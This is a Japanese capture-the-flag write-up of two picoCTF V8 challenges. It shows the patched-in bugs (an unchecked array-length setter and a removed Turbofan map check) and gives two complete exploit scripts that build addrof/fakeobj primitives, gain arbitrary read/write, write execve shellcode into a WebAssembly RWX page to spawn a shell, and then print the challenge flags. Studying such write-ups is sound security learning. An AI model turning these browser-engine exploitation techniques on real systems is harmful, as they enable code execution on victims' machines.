 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2422,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..7cf66d285a 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,8 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
                           array_function, DONT_ENUM);
 
+    SimpleInstallFunction(isolate_, proto, "setHorsepower",
+                          Builtins::kArraySetHorsepower, 1, false);
     SimpleInstallFunction(isolate_, proto, "concat", Builtins::kArrayConcat, 1,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index b18f5bafac..b466b330cd 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
   macro IsEmpty(): bool {
     return this.length == 0;
   }
+  macro SetLength(l: Smi) {
+    this.length = l;
+  }
   length: Number;
 }

今回のパッチはこのようなもの。Javascriptの配列にsetHorsepowerというメゾッドが付きます。

これは配列のlengthをチェック無しに変更してしまう関数です。これを使えば実際の配列の長さよりも大きくlengthを設定できてしまうので、範囲外参照/書き込みの脆弱性があります。

まだ何も理解できていないので、変に解説するのは避けて理解できた部分と参考にした記事だけ載せておきます。(理解が間違っている可能性があります)

  • pointer-compression-in-v8

    これを知らないと過去の記事も参考にならないしデバッグもままならない。

    V8は64bitだが上位32bit分はmmapする時点で決まっていて、下位32bit分をheap領域として扱っている。

    そのためメモリはDWORD単位で運用されている。telは避けてx/wxで見ると良い

  • SMIs and Doubles

    V8はDoubleとSMI(Small Integer)という型を使い分けていて、これはLSB(tag)が立っているとDouble、立っていなければSMIと表現される。

    そのためデバッグする際はポインタから1を引かなければならない。

  • Exploiting a V8 OOB write

    Exploitはよく理解できず参考にはならなかったが、JSArrayの構造を理解するのに助かった。

    配列はJSArrayというメタデータを持つ?構造体と、FixedArrayという実際の中身を持つ構造体に分けられている。JSArray.elementsFixedArrayを指している。

  • V8 Exploitation : Star CTF 2019 OOB-v8

    Exploitの参考にしたWriteup。ほぼ丸パクリ。

    JSの配列に型があるというのもここで理解した。JSArray.mapというのがそうで、例えばDoubleを格納する配列はPACKED_DOUBLE_ELEMENTSというMapを指すようだ。

    この型情報を書き替えたりすることで範囲外参照したり、偽の配列を作ったりしてるらしい。

  • その他

    v8::internal::(Obj)gdbで構造体の確認ができるが、参考にならないので./d8 --allow-natives-syntaxで起動して%DebugPrint()で見た方が良い。

    対話モードと読み込んで実行する時とではヒープレイアウトが変わったりする?のでgdbでオフセットを都度確認すると良い。

    WASMでシェルコードを流すときはKit Engineで使ったものがそのまま再利用できる。

// 参考: https://medium.com/@priyanshukumarpu/v8-exploitation-star-ctf-2019-oob-v8-3c61457f116f


var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);

function ftoi2(val) {
    f64_buf[0] = val;
    return [u32_buf[0], u32_buf[1]];
}

function i2tof(val1, val2) {
    u32_buf[0] = val1;
    u32_buf[1] = val2;
    return f64_buf[0];
}

var float_arr = [1.1];
var obj = {"A": 1};
var obj_arr = [obj];

float_arr.setHorsepower(100+1);

// obj_arr[0]にobjを読み込ませてfloat_arrの範囲外参照で読む
function addrof(target_obj) {
    obj_arr[0] = target_obj;
    return ftoi2(float_arr[9])[1];
}

// obj_arr[0]にアドレスを書き込んで任意のアドレスのオブジェクトを得られる
function fakeobj(addr) {
    float_arr[9] = i2tof(ftoi2(float_arr[9])[0], addr);
    return obj_arr[0];
}

// 確認
a = {"hoge": 1337}
console.log(`[+] addrof(a): ${addrof(a).toString(16)}`);
console.log(`[+] Check addrof and fakeobj: ${a["hoge"]} == ${fakeobj(addrof(a))["hoge"]}`);

// float型配列のMap(型を表す値のようなもの?)を取得する
var float_arr_map = ftoi2(float_arr[1])[0];

// Objectと誤認させる配列
var arb_rw_arr = [i2tof(float_arr_map, 0), i2tof(0, 0), i2tof(0xfffffff, 0)];

function arb_read(addr) {
    // kElementsOffsetにあたる場所をアドレスを書き替える(この時FixedArrayのヘッダの長さを引く)
    // kLengthOffsetを1にしておく(Smiに注意)
    arb_rw_arr[1] = i2tof(addr - 0x4 * 2,  1 << 1);
    // arb_rw_arrの後にあるFixedArrayをObjectとして参照する
    // この時kMapOffsetがfloat_arr_mapなのでV8はfloat型配列と誤認する
    // console.log("fakeobj:", (addrof(arb_rw_arr) + 0x4 * 9).toString(16));
    let fake = fakeobj(addrof(arb_rw_arr) + 0x4 * 9);
    return ftoi2(fake[0])[0];
}

function initial_arb_write(addr, val) {
    arb_rw_arr[1] = i2tof(addr - 0x4 * 2, 1 << 1);
    let fake = fakeobj(addrof(arb_rw_arr) + 0x4 * 9);
    fake[0] = i2tof(val, ftoi2(fake[0])[1]);
}


a = [1.1]
// float_arr_mapが取れていることを確認
console.log(`[+] Check arb_read : ${float_arr_map.toString(16)} == ${arb_read(addrof(a)).toString(16)}`);
// lengthを壊せていることを確認
initial_arb_write(addrof(a)+0xc, 1 << 16+1);
console.log(`[+] Check initial_arb_write: ${1 << 16} == ${a.length}`);

// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var rwx_page_addr1 = arb_read(addrof(wasm_instance)+0x68+4);
var rwx_page_addr2 = arb_read(addrof(wasm_instance)+0x68);

console.log(`[+] RWX Wasm page addr: 0x${rwx_page_addr1.toString(16)}${rwx_page_addr2.toString(16)}`)

function copy_shellcode(addr1, addr2, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x14;
    console.log(`[+] Backstore pointer: ${backing_store_addr.toString(16)}`);
    initial_arb_write(backing_store_addr+4, addr1);
    initial_arb_write(backing_store_addr, addr2);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

var shellcode = [1936712, 1207959552, 1634494137, 2020879975, 2341030004, 256, 12291400, 1207959553, 826865201, 3234285778, 2, 2303198479, 3012380871, 512, 12765000, 1207959553, 49351, 84869120, 29869896, 1207959552, 114887, 84869120]

console.log("[+] Copying execve shellcode to RWX page");

copy_shellcode(rwx_page_addr1, rwx_page_addr2, shellcode);

console.log("[+] Got shell!!!!!!!!!");

f();

picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_f922e29b3d2958bf}

今は問題欄見れないので正確な人数はわからないんですが、30人以上通してた気がします。頭おかしいですね...

Turboflan [600 points]

V8 ExploitでありBinary Explotitationのボス問です(絶望)

diff --git a/src/compiler/effect-control-linearizer.cc b/src/compiler/effect-control-linearizer.cc
index d64c3c80e5..6bbd1e98b0 100644
--- a/src/compiler/effect-control-linearizer.cc
+++ b/src/compiler/effect-control-linearizer.cc
@@ -1866,8 +1866,9 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
       Node* map = __ HeapConstant(maps[i]);
       Node* check = __ TaggedEqual(value_map, map);
       if (i == map_count - 1) {
-        __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
-                           frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+        // This makes me slow down! Can't have! Gotta go fast!!
+        // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+        //                     frame_state, IsSafetyCheck::kCriticalSafetyCheck);
       } else {
         auto next_map = __ MakeLabel();
         __ BranchWithCriticalSafetyCheck(check, &done, &next_map);
@@ -1888,8 +1889,8 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
       Node* check = __ TaggedEqual(value_map, map);
 
       if (i == map_count - 1) {
-        __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
-                           frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+        // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+        //                     frame_state, IsSafetyCheck::kCriticalSafetyCheck);
       } else {
         auto next_map = __ MakeLabel();
         __ BranchWithCriticalSafetyCheck(check, &done, &next_map);
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 999e8c2b96..72b729d94e 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1107,6 +1107,11 @@ void Shell::ModuleResolutionSuccessCallback(
   resolver->Resolve(realm, module_namespace).ToChecked();
 }
 
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
+
 void Shell::ModuleResolutionFailureCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2425,40 +2430,12 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Remove some unintented solutions
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
 
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
-    global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
-  }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2467,11 +2444,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2673,10 +2645,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
-      Shell::HostImportModuleDynamically);
-  isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+  // isolate->SetHostImportModuleDynamicallyCallback(
+  //     Shell::HostImportModuleDynamically);
+  // isolate->SetHostInitializeImportMetaObjectCallback(
+  //     Shell::HostInitializeImportMetaObject);
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a9f6f3bc8b..2513761fa6 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -415,6 +415,8 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,

パッチ内容についてですが、いまだに理解できていません!!!!!(情報が少なすぎる)

今回はV8の最適化エンジン?であるTurbofanに関する問題のようです。Turbofanについては雰囲気でしか理解できてないので説明はしません。

Turbofanの問題はCTFでよく出るみたいなので類似Writeupを読み漁り、最終的にはExploiting the Math.expm1 typing bug in V8を参考にしました。

       if (i == map_count - 1) {
-        __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
-                           frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+        // This makes me slow down! Can't have! Gotta go fast!!
+        // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+        //                     frame_state, IsSafetyCheck::kCriticalSafetyCheck);
       }

重要なのはここでしょうか。最適化を外す処理が無効になっているみたいです。

Mapということは連想配列の処理なのかな?と推測して手動Fuzzします。

すると、以下のようなプログラムでおかしな挙動を起こすことがわかりました。

var leak = 0;
function vuln(o){
    leak = o["A"];
};

obj1 = {"A": 777}
for(let i = 0; i < 0x20000; i++)
    vuln(obj1);

vuln(obj1);
console.log(leak) // => 777

obj2 = {"B": 1337}
vuln(obj2)
console.log(leak) // => 1337

vulnではobj2["A"]を参照するはずですが、実際はobj2["B"]を返しています。最適化が外れていないため、同じオフセットの値を指しているのでしょうか?

その後もleakするプロパティの数を増やしたりしましたがセグフォが起こりやすくなったので試行錯誤してオブジェクトのアドレスを読める良い形を見つけました。

addrofとfakeobjが実装できたら後は基本的に先程と同じです。オフセットが変わる場合もあるのでgdbで調整します。

また、float_arr_mapをOOBで読もうとしてもうまくいかなかったので、値は前回のと同じだと決め打ちました。(ランダム化されないらしい)

ここまで整然と解いてるような文章ですが、実際には「ここにコメントが無いと動かないんだが????????」とか「リモートで動いてローカルで動かねぇ!!!!!!」とかかなり混乱しながらデバッグしてました。(終盤には「exploitの安定」と小声で連呼してたり色々と発狂しそうでした)

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);

function ftoi2(val) {
    f64_buf[0] = val;
    return [u32_buf[0], u32_buf[1]];
}

function i2tof(val1, val2) {
    u32_buf[0] = val1;
    u32_buf[1] = val2;
    return f64_buf[0];
}

leak = 1.1;

function oob_read(o){
    leak = o.a[0];
};

function oob_write(o){
    o.a[0] = leak;
};

init_obj = {
    a: [i2tof(1,1)]
};

addrof_obj = {
    b: [{}]
};

for(let i = 0; i < 0x20000; i++)
    oob_read(init_obj);


for(let i = 0; i < 0x20000; i++)
    oob_write(init_obj);

function addrof(obj){
    addrof_obj.b[0] = obj;
    oob_read(addrof_obj);
    return ftoi2(leak)[0];
}

function fakeobj(addr) {
    leak = i2tof(addr, ftoi2(leak)[1]);
    oob_write(addrof_obj);
    return addrof_obj.b[0];
}

obj = {"hoge": 1337};
console.log(`[+] Check addrof and fakeobj: ${obj["hoge"]} == ${fakeobj(addrof(obj))["hoge"]}`);

// float型配列のMap(型を表す値のようなもの?)を取得する
var float_arr_map = 0x82439f1;

// Objectと誤認させる配列
var arb_rw_arr = [i2tof(float_arr_map, 0), i2tof(0, 1 << 1), i2tof(0, 0)];
let fake = fakeobj(addrof(arb_rw_arr) + 0x4 * 24);
console.log("fakeobj:", (addrof(arb_rw_arr) + 0x4 * 24).toString(16));

function arb_read(addr) {
    arb_rw_arr[1] = i2tof(addr - 0x4 * 2,  1 << 1);
    return ftoi2(fake[0])[0];
}

function initial_arb_write(addr, val) {
    arb_rw_arr[1] = i2tof(addr - 0x4 * 2, 1 << 1);
    fake[0] = i2tof(val, ftoi2(fake[0])[1]);
}


a = [1.1];
a[0];
console.log(addrof(a).toString(16));
// float_arr_mapが取れていることを確認
console.log(`[+] Check arb_read : ${float_arr_map.toString(16)} == ${arb_read(addrof(a)).toString(16)}`);
// lengthを壊せていることを確認
// Breakpoint();
initial_arb_write(addrof(a)+0xc, 1 << 16+1);
// Breakpoint();
console.log(`[+] Check initial_arb_write: ${1 << 16} == ${a.length}`);

// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var rwx_page_addr1 = arb_read(addrof(wasm_instance)+0x68+4);
var rwx_page_addr2 = arb_read(addrof(wasm_instance)+0x68);

console.log(`[+] RWX Wasm page addr: 0x${rwx_page_addr1.toString(16)}${rwx_page_addr2.toString(16)}`)

function copy_shellcode(addr1, addr2, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x14;
    console.log(`[+] Backstore pointer: ${backing_store_addr.toString(16)}`);
    initial_arb_write(backing_store_addr+4, addr1);
    initial_arb_write(backing_store_addr, addr2);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

var shellcode = [1936712, 1207959552, 1634494137, 2020879975, 2341030004, 256, 12291400, 1207959553, 826865201, 3234285778, 2, 2303198479, 3012380871, 512, 12765000, 1207959553, 49351, 84869120, 29869896, 1207959552, 114887, 84869120]

console.log("[+] Copying execve shellcode to RWX page");

copy_shellcode(rwx_page_addr1, rwx_page_addr2, shellcode);

console.log("[+] Got shell!!!!!!!!!");

f();

picoCTF{Good_job!_Now_go_find_a_real_v8_cve!_af5019da9ba3419b}

V8 & Turbofan Exploit入門みたいな問題で面白かったし非常に参考になりました。

感想

前回(参加はしてないですが)と比べて難易度が大きく上がったように感じました。また、良問が多くなりクソ問の数は減ったと思いますが、それでもまだクソ問が多いとも感じました。(特にForensics)

日本一位という順位を取れましたが、参加してないプロも多そうなので驕ってはいけない(戒め)

だけどCognitiveHackJapanから賞金が貰えるのでそれはそれとして嬉しいですね、やったぜ!